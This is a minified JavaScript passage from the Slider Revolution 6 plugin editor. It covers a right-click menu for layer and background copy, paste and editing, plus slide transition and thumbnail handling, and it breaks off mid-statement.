jQuery(function(){var e,t,i,a,r,s,o,n,l,d,S,c,p,u,R,V,y,m,f,g=50,h=50,v=10;RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC;var _={editlayer:function(){var e;switch(this.dataset.type){case"content":e=["#gst_layer_1"];break;case"image":e=["#gst_layer_1","#image_layer_media_library_button"];break;case"style":e=["#gst_layer_3"];break;case"advstyle":e=["#gst_layer_6"];break;case"size":e=["#gst_layer_2"];break;case"hover":e=["#gst_layer_9"];break;case"scroll":e=["#gst_layer_8"];break;case"responsive":e=["#gst_layer_13"];break;case"animation":e=["#gst_layer_4"];break;case"actions":e=["#gst_layer_5"]}a=!0,e.unshift("#module_layers_trigger");for(var t=e.length,i=0;i<t;i++)try{jQuery(e[i]).trigger("click")}catch(e){}a=!0},editbg:function(){var e;switch(this.dataset.type){case"content":e=["#gst_slide_1"];break;case"image":e=["#gst_slide_1","#slide_bg_image_btn"];break;case"objectlibrary":e=["#gst_slide_1","#slide_object_library_btn"]}a=!0,e.unshift("#module_slide_trigger");for(var t=e.length,i=0;i<t;i++)try{jQuery(e[i]).trigger("click")}catch(e){}a=!1},duplicatelayer:function(){RVS.DOC.trigger("do_duplicate_layer")},deletelayer:function(){RVS.DOC.trigger("do_delete_layer")},hidelayer:function(){RVS.F.showHideLayers()},locklayer:function(){RVS.F.lockUnlockLayers()},copylayer:function(){if(p=!1,c=!1,r=!0,s="Paste Layer(s)",RVS.selLayers&&1===RVS.selLayers.length){var t=RVS.L[e.dataset.uid].type;if(t&&-1===t.search(/column|row|zone/)){var i=RVS.H[e.dataset.uid],a=i.w_height,o=i.w_width;o="auto"===o?i.w.outerWidth(!0):-1!==o.search("%")?i.w.closest(".layer_grid").width()*(.01*parseInt(o,10)):parseInt(o,10),a="auto"===a?i.w.outerHeight(!0):-1!==a.search("%")?i.w.closest(".layer_grid").height()*(.01*parseInt(a,10)):parseInt(a,10);var n=RVS.S.shrink[RVS.screen];c={w:.5*(o*=n),h:.5*(a*=n),keys:Object.keys(RVS.H)}}}R=RVS.S.slideId,RVS.DOC.trigger("do_copy_layer")},copylayersettings:function(){p=!1;var t=this.dataset.type,i=this.dataset.title,a=RVS.L[e.dataset.uid];a?(r=-1===t.search("idle")?[t,jQuery.extend(!0,{},a[t]),i,RVS.selLayers[0]]:[t,w(a.idle,t),i],s="Paste "+i):console.log("Wrong object path when copying layer style/settings")},copybg:function(){r=!1;var e,t=RVS.SLIDER[RVS.S.slideId].slide,i=this.dataset.title,a=this.dataset.type;switch(a){case"background":delete(e=jQuery.extend(!0,{},t.bg)).mediaFilter,p=[a,e,i];break;case"animation":p=[a,L(t.timeline),i];break;case"filter":p=[a,t.bg.mediaFilter,i];break;case"onscroll":p=[a,jQuery.extend(!0,{},t.effects),i];break;case"panzoom":e=jQuery.extend(!0,{},t.panzoom),t=t.bg,e.bg={position:t.position,positionX:t.positionX,positionY:t.positionY},p=[a,e,i]}s="Paste "+i},paste:function(t){r?function(t){if(!r||!1===r)return void console.log("pasting from layer copy failed");var i;if(!0===r){if(RVS.DOC.trigger("do_paste_layer"),!c||R!==RVS.S.slideId)return;for(var a=Object.keys(RVS.H),s=a.length,o=0;o<s;o++)if(-1===c.keys.indexOf(a[o])){i=a[o];break}return void(i&&function(e,t){var i=RVS.L[t].position,a=i.horizontal[RVS.screen].v,r=i.vertical[RVS.screen].v,s=RVS.H[t].w.closest(".layer_grid"),o=s.offset(),n=Math.round(e.pageX-o.left-c.w),l=Math.round(e.pageY-o.top-c.h),d=n,S=l;switch(a){case"right":d=s.width()-n;break;case"center":d=Math.round(.5*s.width()-c.w)}switch(r){case"bottom":S=s.height()-l;break;case"center":S=Math.round(.5*s.height()-c.h)}var p,u,R,V,y,m=jQuery.extend(!0,{},i.horizontal),f=jQuery.extend(!0,{},i.vertical),g=4,h=RVS.V.sizes.slice().reverse();for(;RVS.screen!==h[0];)h.shift();for(y=0;y<4;y++)m[RVS.V.sizes[y]].e=!1;for(g=h.length,u=g-1,d+="px",S+="px",y=0;y<g;y++)V=h[y],R=y===u,((p=RVS.screen===V||R)||i.x[V].e)&&(i.x[V]={v:d,e:!0,u:"px"}),(p||i.y[V].e)&&(i.y[V]={v:S,e:!0,u:"px"}),pH=jQuery.extend(!0,{},m),pV=jQuery.extend(!0,{},f),p&&(pH[V].e=!0,pV[V].e=!0),i.horizontal[V]=jQuery.extend(!0,{},pH[V]),i.vertical[V]=jQuery.extend(!0,{},pV[V]);h=RVS.V.sizes.slice();for(;RVS.screen!==h[0];)h.shift();h.length&&h.shift();for(g=h.length,y=0;y<g;y++)V=h[y],i.x[V].e=!1,i.y[V].e=!1,i.horizontal[V]=jQuery.extend(!0,{},m[V]),i.vertical[V]=jQuery.extend(!0,{},f[V]);for(var v in RVS.L)RVS.L.hasOwnProperty(v)&&"zone"!==RVS.L[v].type&&RVS.F.drawHTMLLayer({uid:v});RVS.S.clickedLayer=t}(t,i))}var n=r[0],l=r[1],d=r[3];if(RVS.F.openBackupGroup({id:"pasteLayerSettings",txt:"Paste Layer "+r[2],icon:"file_download"}),-1===n.search("idle"))"timeline"===n&&(RVS.TL[RVS.S.slideId].layers[RVS.selLayers[0]]=jQuery.extend(!0,{},RVS.TL[RVS.S.slideId].layers[d])),RVS.F.updateLayerObj({path:n,val:l}),"timeline"===n&&(RVS.F.reDrawListElements(),jQuery(e).trigger("click"));else for(var S in l)l.hasOwnProperty(S)&&RVS.F.updateLayerObj({path:"idle."+S,val:l[S]});RVS.F.updateLayerInputFields(),RVS.F.closeBackupGroup({id:"pasteLayerSettings"}),RVS.S.clickedLayer=null}(t):function(){if(!p||!1===p)return void console.log("pasting from bg copy failed");var e,t=p[0],i=p[1],a=RVS.SLIDER[RVS.S.slideId].slide;switch(RVS.F.openBackupGroup({id:"pasteBgSettings",txt:"Paste BG "+p[2],icon:"file_download"}),t){case"background":jQuery.extend(!0,a.bg,i),e="#form_slidebg_source";break;case"animation":jQuery.extend(!0,a.timeline,i),e="#form_slide_transition";break;case"filter":a.bg.mediaFilter=i,e="#form_slidebg_filters";break;case"onscroll":jQuery.extend(!0,a.effects,i),e="#form_slide_onscroll";break;case"panzoom":jQuery.extend(!0,a.panzoom,i),e="#form_slidebg_kenburn"}RVS.F.updateEasyInputs({container:e,path:RVS.S.slideId+".slide.",trigger:"init"}),"panzoom"===t?function(e,t){e.position=t.position,e.positionX=t.positionX,e.positionY=t.positionY,RVS.F.updateEasyInputs({container:jQuery("#slide_bg_settings_wrapper"),path:RVS.S.slideId+".slide.",trigger:"init"}),jQuery("#sl_pz_set").change()}(a.bg,i.bg):"animation"===t&&RVS.F.updateSlideAnimation();RVS.F.closeBackupGroup({id:"pasteBgSettings"}),RVS.DOC.trigger("updateslidebasic")}()},disable:function(){m.remove(),S.remove(),f.off(".rcmenu"),jQuery(document.body).off(".rcmenu"),jQuery("#main_hor_toolbar, #the_right_toolbar, #timeline_settings").off(".rcmenu"),o=V=t=i=n=y=e=r=p=u=m=S=f=void 0}};function L(e){for(var t,i=["transition","duration","easeIn","easeOut","slots","rotation"],a=i.length,r={},s=0;s<a;s++)r[t=i[s]]=jQuery.extend(!0,{},e[t]);return r}function w(e,t){for(var i,a,r=(i="idle"===t?["fontSize","lineHeight","fontWeight","letterSpacing","fontStyle","textDecoration","textTransform","selectable","fontFamily","color","backgroundColor","backgroundImage","backgroundImageId","backgroundPosition","backgroundSize","backgroundRepeat","margin","padding","borderColor","borderStyle","borderWidth","borderRadius"]:["rotationX","rotationY","rotationZ","opacity","boxShadow","textShadow","filter","spikeUse","spikeLeft","spikeLeftWidth","spikeRight","spikeRightWidth","cornerLeft","cornerRight"]).length,s={},o=0;o<r;o++)(a=e[i[o]])&&(Array.isArray(a)?a=JSON.parse(JSON.stringify(a)):"object"==typeof a&&(a=jQuery.extend(!0,{},a)),s[i[o]]=a);return s}function b(e){var t=this.dataset.rcevent;return t&&_[t]&&_[this.dataset.rcevent].call(this,e),!1}function I(){d&&(d=!1,S.hide(),m.hide())}function F(e,t){return(t.match(/(^|\s)rc-\align-\S+/g)||[]).join(" ")}function D(e){d&&!a&&("rc_layer_menu"===e.target.id||jQuery(e.target).closest("#rc_layer_menu").length||I())}function x(e,t){C.call(t)}function C(){var e,a,c,R,_,L,w;l||function(){S=jQuery('<div class="tool_dd_wrap rc-menu-wrap" id="rc_layer_menu"><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item rc-menu-single"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item rc-menu-layer-edit" data-type="content" data-rcevent="editlayer"><i class="material-icons">edit</i>Content</div><div class="rc-menu-item rc-menu-layer-edit" data-type="image" data-rcevent="editlayer"><i class="material-icons">edit</i>Image</div><div class="rc-menu-item" data-type="style" data-rcevent="editlayer"><i class="material-icons">color_lens</i>Base Style</div><div class="rc-menu-item" data-type="advstyle" data-rcevent="editlayer"><i class="material-icons">invert_colors</i>Adv. Style</div><div class="rc-menu-item" data-type="hover" data-rcevent="editlayer"><i class="material-icons">mouse</i>Hover Style</div><div class="rc-menu-item" data-type="sizepos" data-rcevent="editlayer"><i class="material-icons">open_with</i>Size & Position</div><div class="rc-menu-item" data-type="responsive" data-rcevent="editlayer"><i class="material-icons">photo_size_select_large</i>Responsivity</div><div class="rc-menu-item" data-type="animation" data-rcevent="editlayer"><i class="material-icons">play_arrow</i>Animation</div><div class="rc-menu-item" data-type="scroll" data-rcevent="editlayer"><i class="material-icons">system_update_alt</i>On Scroll</div><div class="rc-menu-item" data-type="actions" data-rcevent="editlayer"><i class="material-icons">touch_app</i>Actions</div></div></div><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item" data-type="layer" data-rcevent="copylayer"><i class="material-icons" data-title="Layer(s)">content_paste</i>Copy</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="layer" data-rcevent="copylayer"><i class="material-icons" data-title="Layers(s)">layers</i>Selected Layers</div><div class="rc-menu-item rc-menu-single" data-type="idle" data-rcevent="copylayersettings" data-title="Base Style"><i class="material-icons">color_lens</i>Base Style</div><div class="rc-menu-item rc-menu-single" data-type="idleadv" data-rcevent="copylayersettings" data-title="Adv. Style"><i class="material-icons">invert_colors</i>Adv. Style</div><div class="rc-menu-item rc-menu-single" data-type="hover" data-rcevent="copylayersettings" data-title="Hover Style"><i class="material-icons">mouse</i>Hover Style</div><div class="rc-menu-item rc-menu-single" data-type="size" data-rcevent="copylayersettings" data-title="Size"><i class="material-icons">aspect_ratio</i>Size</div><div class="rc-menu-item rc-menu-single" data-type="position" data-rcevent="copylayersettings" data-title="Position"><i class="material-icons">open_with</i>Position</div><div class="rc-menu-item rc-menu-single" data-type="behavior" data-rcevent="copylayersettings" data-title="Responsivity"><i class="material-icons">photo_size_select_large</i>Responsivity</div><div class="rc-menu-item rc-menu-single" data-type="timeline" data-rcevent="copylayersettings" data-title="Animation"><i class="material-icons">play_arrow</i>Animation</div><div class="rc-menu-item rc-menu-single" data-type="effects" data-rcevent="copylayersettings" data-title="On Scroll"><i class="material-icons">system_update_alt</i>On Scroll</div><div class="rc-menu-item rc-menu-single" data-type="actions" data-rcevent="copylayersettings" data-title="Actions"><i class="material-icons">touch_app</i>Actions</div></div></div><div id="rc_paste_layer" class="rc-menu-item" data-rcevent="paste"><i class="material-icons">file_download</i><span class="rc-menu-paste">Paste</span></div><div class="rc-menu-item" data-rcevent="duplicatelayer"><i class="material-icons">content_copy</i>Duplicate</div><div class="rc-menu-item" data-rcevent="deletelayer"><i class="material-icons">delete</i>Delete</div><div class="rc-menu-item" data-rcevent="hidelayer"><i class="material-icons">visibility</i>Show/Hide</div><div class="rc-menu-item" data-rcevent="locklayer"><i class="material-icons">lock_outline</i>Lock/Unlock</div><div class="rc-menu-item" data-rcevent="disable"><i class="material-icons">toggle_off</i>Disable Menu</div></div>').on("mouseleave",I),m=jQuery('<div class="tool_dd_wrap rc-menu-wrap" id="rc_bg_menu"><div class="rc-menu-item rc-menu-bg-edit" data-type="content" data-rcevent="editbg"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop_wrap rc-menu-bg-edit" data-type="image"><div class="rc-menu-item"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="image" data-rcevent="editbg" data-title="Background"><i class="material-icons">style</i>Media Library</div><div class="rc-menu-item" data-type="objectlibrary" data-rcevent="editbg" data-title="Animation"><i class="material-icons">camera_enhance</i>Object Library</div></div></div><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item"><i class="material-icons">content_paste</i>Copy</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="background" data-rcevent="copybg" data-title="Background"><i class="material-icons">color_lens</i>Background</div><div class="rc-menu-item" data-type="animation" data-rcevent="copybg" data-title="Animation"><i class="material-icons">invert_colors</i>Animation</div><div class="rc-menu-item" data-type="filter" data-rcevent="copybg" data-title="Filter"><i class="material-icons">blur_on</i>Filter</div><div class="rc-menu-item" data-type="onscroll" data-rcevent="copybg" data-title="On Scroll"><i class="material-icons">system_update_alt</i>On Scroll</div><div id="rc_menu_panzoom" class="rc-menu-item" data-type="panzoom" data-rcevent="copybg" data-title="Ken Burns"><i class="material-icons">leak_add</i>Ken Burns</div></div></div><div id="rc_paste_bg" class="rc-menu-item" data-rcevent="paste"><i class="material-icons">file_download</i><span class="rc-menu-paste">Paste</span></div><div class="rc-menu-item" data-rcevent="disable"><i class="material-icons">toggle_off</i>Disable Menu</div></div>').on("mouseleave",I),o=S.find("#rc_paste_layer"),V=m.find("#rc_paste_bg");var e=jQuery(document.body).on("click.rcmenu",".rc-menu-item:not(.rc-menu-title)",b).on("click.rcmenu",D);jQuery("#main_hor_toolbar, #the_right_toolbar, #timeline_settings").on("mouseover.rcmenu",I),e.append(S).append(m),t=jQuery(".rc-menu-single"),i=t.parents(".toolbar_dd_subdrop_wrap"),n=jQuery(".rc-menu-paste"),y=jQuery("#rc_menu_panzoom"),f=RVS.WIN.on("resize.rcmenu",I),l=!0}(),jQuery(this).hasClass("_lc_")?(m.hide(),function(){var e=this.className.split("_lc_type_");e=-1!==(e=e[1].split(" ")[0]).search(/text|button|video|audio/)?"content":"image"===e&&"image",jQuery(".rc-menu-layer-edit").hide(),e&&jQuery('.rc-menu-layer-edit[data-type="'+e+'"').show(),r?(o.removeClass("disabled"),n.text(s)):(o.addClass("disabled"),n.text("Paste"))}.call(this),e=S.removeClass(F),a=RVS.selLayers&&1===RVS.selLayers.length?"removeClass":"addClass",t[a]("disabled"),i[a]("disabled")):(S.hide(),function(){jQuery(".rc-menu-bg-edit").hide();var e="image"===RVS.SLIDER[RVS.S.slideId].slide.bg.type?"image":"content";e&&jQuery('.rc-menu-bg-edit[data-type="'+e+'"]').show(),!0===r||p?(V.removeClass("disabled"),n.text(s)):(V.addClass("disabled"),n.text("Paste"))}(),e=m.removeClass(F),c=RVS.SLIDER[RVS.S.slideId].slide.bg.type,y[a="image"===c||"external"===c?"show":"hide"]()),u.pageX<f.width()-e.width()-g?L=u.pageX+v:(L=u.pageX-e.width()-v,R="rc-align-right"),u.pageY<f.height()-e.height()-h?w=u.pageY+v:(w=u.pageY-e.height()-v,_="rc-align-bottom"),R&&e.addClass(R),_&&e.addClass(_),e.css({left:L,top:w}).show(),d=!0,u=!1}jQuery(document.body).on("contextmenu.rcmenu",".layer_grid, ._lc_",function(t){if(u)return!1;e=this,u=t;var i=jQuery(this);return i.hasClass("_lc_")&&!i.hasClass("selected")?(RVS.DOC.one("layerselectioncomplete.rcmenu",x),i.trigger("click"),!1):(C.call(this),!1)})}),
/*!
 * REVOLUTION 6.0.0 EDITOR SLIDE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t,i='<div class="the_layers_in_slide" id="the_layers_in_slide_###">';function a(e){var t=jQuery("#slide_list_element_"+e.id);e.openclose?t.hasClass("opened_slidetab")?t.removeClass("opened_slidetab"):(jQuery(".slide_list_element.sortable_slide_list_element").removeClass("opened_slidetab"),t.addClass("opened_slidetab"),RVS.S.slideId!==e.id&&RVS.F.setSlideFocus({slideid:e.id})):RVS.S.slideId!==e.id&&RVS.F.setSlideFocus({slideid:e.id}),"mode__slidelayout"!==RVS.S.vWmode&&RVS.F.mainMode({mode:"slidelayout",set:!1}),RVS.F.showHideLayerEditor({mode:"slidelayout"}),setTimeout(function(){RVS.DOC.trigger("sliderSizeChanged"),RVS.DOC.trigger("device_area_availibity")},500)}function r(e){return'<div class="slide_anim_alternates"><div class="remove_altslide basic_action_button leftbutton onlyicon" data-index="'+e+'"><i class="material-icons">delete</i></div><div class="slide_alt_slide"><label_a>'+(parseInt(e)+2)+"."+RVS_LANG.transition+'</label_a><select class="slideinput tos2 searchbox easyinit slideAnimSelect" data-theme="wideopentos2" data-r="slideChange.alt.'+e+'"></select></div></div>'}function s(t){!1!==e.hovered&&!0!==t.force||(tpGS.gsap.set(e.done,{width:t.left}),t.auto&&tpGS.gsap.set(e.pin,{left:t.left}))}function o(e){e=void 0===e?{id:RVS.S.slideId,target:["#admin_purpose_thumbnail, #slide_list_element_"+RVS.S.slideId+" .sle_thumb"],default:!0}:e;var t=RVS.SLIDER[e.id].slide.thumb.customAdminThumbSrc,i=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;if(null===t||null==t||void 0===t||t.length<3){var a=RVS.F.getSlideBGDrawObj(e);""===a.backgroundImage&&"transparent"===a.backgroundColor&&(a.backgroundImage="url("+RVS.ENV.plugin_url+"admin/assets/images/trans_tile.png)",a.backgroundSize="16px",a["background-size"]="16px",a.backgroundRepeat="repeat"),void 0!==e.target&&void 0!==e.target[0]&&tpGS.gsap.set(e.target,a)}else tpGS.gsap.set(e.target,{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"});e.default&&(void 0===i||i.length<3||"/"===i[i.length-1]?tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],RVS.F.getSlideBGDrawObj()):tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+i+")"}))}function n(){var e={},t=1;for(var i in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(i)&&(e[RVS.SLIDER.slideIDs[i]]=t,!RVS.F.isNumeric(RVS.SLIDER.slideIDs[i])&&-1!=RVS.SLIDER.slideIDs[i].indexOf("static")||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]]||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child||null!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId&&""!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId||t++);for(var i in e)if(e.hasOwnProperty(i)){var a=document.getElementById("slide_list_element_title_index_"+i);null!=a&&(a.innerHTML="#"+e[i]+" ")}}function l(e){return"object"!=typeof e||Array.isArray(e)||(void 0===e[0]||"string"!=typeof e[0]&&"number"!=typeof e[0])&&(void 0===e[1]||"string"!=typeof e[1]&&"number"!=typeof e[1])||(e=Object.values(e)),e}function d(e){return e=void 0===e?["default"]:e,Array.isArray(e)&&"object"!=typeof e[0]?e:"object"==typeof e[0]?Object.values(e[0]):[e]}function S(e,t,i,a){var r=RVS.F.createPresets({modern:!0,icon:e.icon,eclass:e.eclass,groupid:i,groupclass:"slide_trans_templates",maingrpclass:"slide_trans_mains",title:t,customevt:"slide_ajax_calls",groups:e,ref:a,favoriteAjax:"slide_transitions",favoriteList:RVS.LIB.SLTR_FAVORIT,onclick:function(e,t,i,a,r,s){c("true"==t||1==t?{preset:RVS.LIB.SLTR_CUSTOM[e.replace("custom_","")].preset,customkey:e}:{key:e,main:i,sub:a}),RVS.DOC.trigger("showhidetransitions"),RVS.F.updateSlideFrames(),RVS.F.udpateSelectedSlideAnim(),RVS.F.updateSlideAnimationView()}});RVS.S.ATI.append(r.main),RVS.S.ATIR.append(r.inner)}function c(e){var t=m(e);RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange",val:t,old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange),backupType:"object",mode:"slidetransition",callBack:function(){RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"})}}),RVS.SLIDER[RVS.S.slideId].slide.slideChange=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange,t),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.redrawSlideBG()}function p(e,t){RVS.C.slide.find(".slots_wrapper").attr("class","slots_wrapper "+t)}function u(e,t,i){switch(e){case"slide_bg_color":RVS.F.redrawSlideBG({liveColorChange:!0,backgroundColor:t})}}function R(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(u(window.lastColorEditjObj[0].name,i),s&&!0!==o))for(var n in s.ref)if("slide"===s.ref[n].type&&s.ref[n].slide===RVS.S.slideId&&u(s.ref[n].inpname,i),"slide"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i}),s.ref[n].slide===RVS.S.slideId){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else RVS.F.slideinWork(s.ref[n].slide)}function V(e){RVS.SLIDER[RVS.S.slideId].slide.panzoom.set?(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_on")),jQuery("#internal_kenburn_settings").hide(),jQuery("#kenburnissue").hide()):(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_off")),RVS.SBGS[RVS.S.slideId].n.canvas.style.filter="none",void 0!==RVS.TL[RVS.S.slideId]&&null!=RVS.TL[RVS.S.slideId].panzoom&&(RVS.TL[RVS.S.slideId].panzoom.pause().kill(),RVS.TL[RVS.S.slideId].panzoom=void 0,RVS.SBGS[RVS.S.slideId].n.panzoom=void 0)),!0!==e&&RVS.F.redrawSlideBG()}function y(t){var i;if("image"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&"external"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&(RVS.SLIDER[RVS.S.slideId].slide.panzoom.set=!1),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set){if(("image"!==RVS.SBGS[RVS.S.slideId].n.type||"loaded"===RVS.SBGS[RVS.S.slideId].n.loadobj.progress)&&"loaded"===RVS.SBGS[RVS.S.slideId].c.loadobj.progress){var a=0,r=0,o=!1;void 0!==RVS.TL[RVS.S.slideId].panzoom&&(r=RVS.TL[RVS.S.slideId].panzoom.time(),a=RVS.TL[RVS.S.slideId].panzoom.progress(),o=RVS.TL[RVS.S.slideId].panzoom.isActive(),RVS.TL[RVS.S.slideId].panzoom.kill()),RVS.SBGS[RVS.S.slideId].n.panzoom=!0,RVS.SBGS[RVS.S.slideId].n.panvalues=(i=RVS.SLIDER[RVS.S.slideId].slide.panzoom,{duration:parseInt(i.duration)/1e3,ease:i.ease,scalestart:parseInt(i.fitStart)/100,scaleend:parseInt(i.fitEnd)/100,rotatestart:parseFloat(i.rotateStart),rotateend:parseFloat(i.rotateEnd),blurstart:i.blurStart,blurend:i.blurEnd,offsetstart:[i.xStart,i.yStart],offsetend:[i.xEnd,i.yEnd]}),RVS._R.startPanZoom(RVS.SBGS[RVS.S.slideId].n,void 0,.01,RVS.SBGS[RVS.S.slideId].n.skeyindex,"prepare"),RVS.TL[RVS.S.slideId].panzoom.render(r,!0,!0),e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:a*(e.containerWidth-e.pinWidth),auto:!0}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onUpdate",function(){e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:RVS.TL[RVS.S.slideId].panzoom.progress()*(e.containerWidth-e.pinWidth),auto:!0})}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onComplete",function(){RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"}),RVS.TL[RVS.S.slideId].panzoom.pause()}),o&&RVS.TL[RVS.S.slideId].panzoom.play()}}else delete RVS.SBGS[RVS.S.slideId].n.panzoom}function m(e){var t=void 0!==e.preset?jQuery.extend(!0,RVS._R.getSlideAnim_EmptyObject(),e.preset):void 0!==e.key&&void 0!==RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)?jQuery.extend(!0,{},RVS._R.getSlideAnim_EmptyObject(),RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)):RVS._R.getSlideAnim_EmptyObject();return void 0!==e.slot&&(t.in.col=t.in.row=e.slot),t.speed=Math.round(t.speed),t.preset=void 0!==e.key?e.key:void 0!==e.customkey?e.customkey:"custom",t}function f(e,t){return null==e?t:e}i+='\t\t<div class="resizeMainLayerListWrap" id="resizeMainLayerListWrap_###">',i+='\t\t\t<div class="mainLayerListWrap" id="mainLayerListWrap_###">',i+="\t\t\t</div>",i+="\t\t</div>",i+="\t</div>",RVS.LIB=void 0===RVS.LIB?RVS.LIB={}:RVS.LIB,RVS.F.initSlideBuilder=function(){t=jQuery("#slide_thumb_repeater"),RVS.DOC.on("mouseenter",".slide_list_element",function(){t[0].innerHTML="",RVS.SLIDER.settings.general.useWPML?jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").clone()):jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").first().clone()),t.show()}),RVS.DOC.on("mouseleave",".slide_list_element",function(){t[0].innerHTML=""}),function(){RVS.LIB.SLTR_CUSTOM=void 0===RVS.LIB.SLTR_CUSTOM?{}:RVS.LIB.SLTR_CUSTOM;var e={};for(var t in RVS.S.ATI=jQuery("#active_transitions_innerwrap"),RVS.S.ATIR=jQuery("#active_transitions_innerwrap_results"),RVS.JHOOKS.extendSlideAnimationList)RVS.JHOOKS.extendSlideAnimationList.hasOwnProperty(t)&&RVS.JHOOKS.extendSlideAnimationList[t]();for(var i in RVS.LIB.SLTR)if(RVS.LIB.SLTR.hasOwnProperty(i))for(var a in e[i]=void 0===e[i]?{}:e[i],RVS.LIB.SLTR[i])if(RVS.LIB.SLTR[i].hasOwnProperty(a))if("noSubLevel"===a)e[i].noSubLevel=RVS.LIB.SLTR[i].noSubLevel;else if("icon"==a)e[i].icon=RVS.LIB.SLTR[i].icon;else if("eclass"==a)e[i].eclass=RVS.LIB.SLTR[i].eclass;else if(RVS.LIB.SLTR[i].noSubLevel)e[i][i]=void 0===e[i][i]?{title:void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],elements:{}}:e[i][i],e[i][i].elements[a]={title:RVS.LIB.SLTR[i][a].title,grp:a,main:i},void 0!==RVS.LIB.SLTR[i][a].rndgrp&&(e[i][i].elements[a].rndgrp=RVS.LIB.SLTR[i][a].rndgrp),void 0!==RVS.LIB.SLTR[i][a].rndmain&&(e[i][i].elements[a].rndmain=RVS.LIB.SLTR[i][a].rndmain);else for(var r in e[i][a]=void 0===e[i][a]?{title:void 0===RVS_LANG["sltr_"+a]?a:RVS_LANG["sltr_"+a],elements:{}}:e[i][a],RVS.LIB.SLTR[i][a])"icon"!==r&&RVS.LIB.SLTR[i][a].hasOwnProperty(r)&&(e[i][a].elements[r]={title:RVS.LIB.SLTR[i][a][r].title,grp:a,main:i});var s=0;for(i in e)e.hasOwnProperty(i)&&S(e[i],void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],"slide_trans_templates"+s++,i);S({icon:"tune",custom:{title:RVS_LANG.customtransitionpresets,elements:RVS.LIB.SLTR_CUSTOM,custom:!0}},RVS_LANG.customtemplates,"slide_trans_templates_custom","custom"),function(){var e=jQuery(".transgroup.selected").data("group");jQuery(".inner_transitions").hide(),jQuery(".inner_transitions."+e).show(),RVS.F.udpateSelectedSlideAnim()}()}(),RVS.DOC.on("changeflags",RVS.F.changeFlags),RVS.DOC.on("click",".remove_altslide",function(){var e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.join(",").split(",");RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.splice(this.dataset.index,1),RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.alt",val:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,old:e,backupType:"array",mode:"slidealttransition",callBack:function(){}}),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateAlternateSlideAnims()}),RVS.DOC.on("addslidetransition",function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt=void 0===RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt?[]:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.push("");var 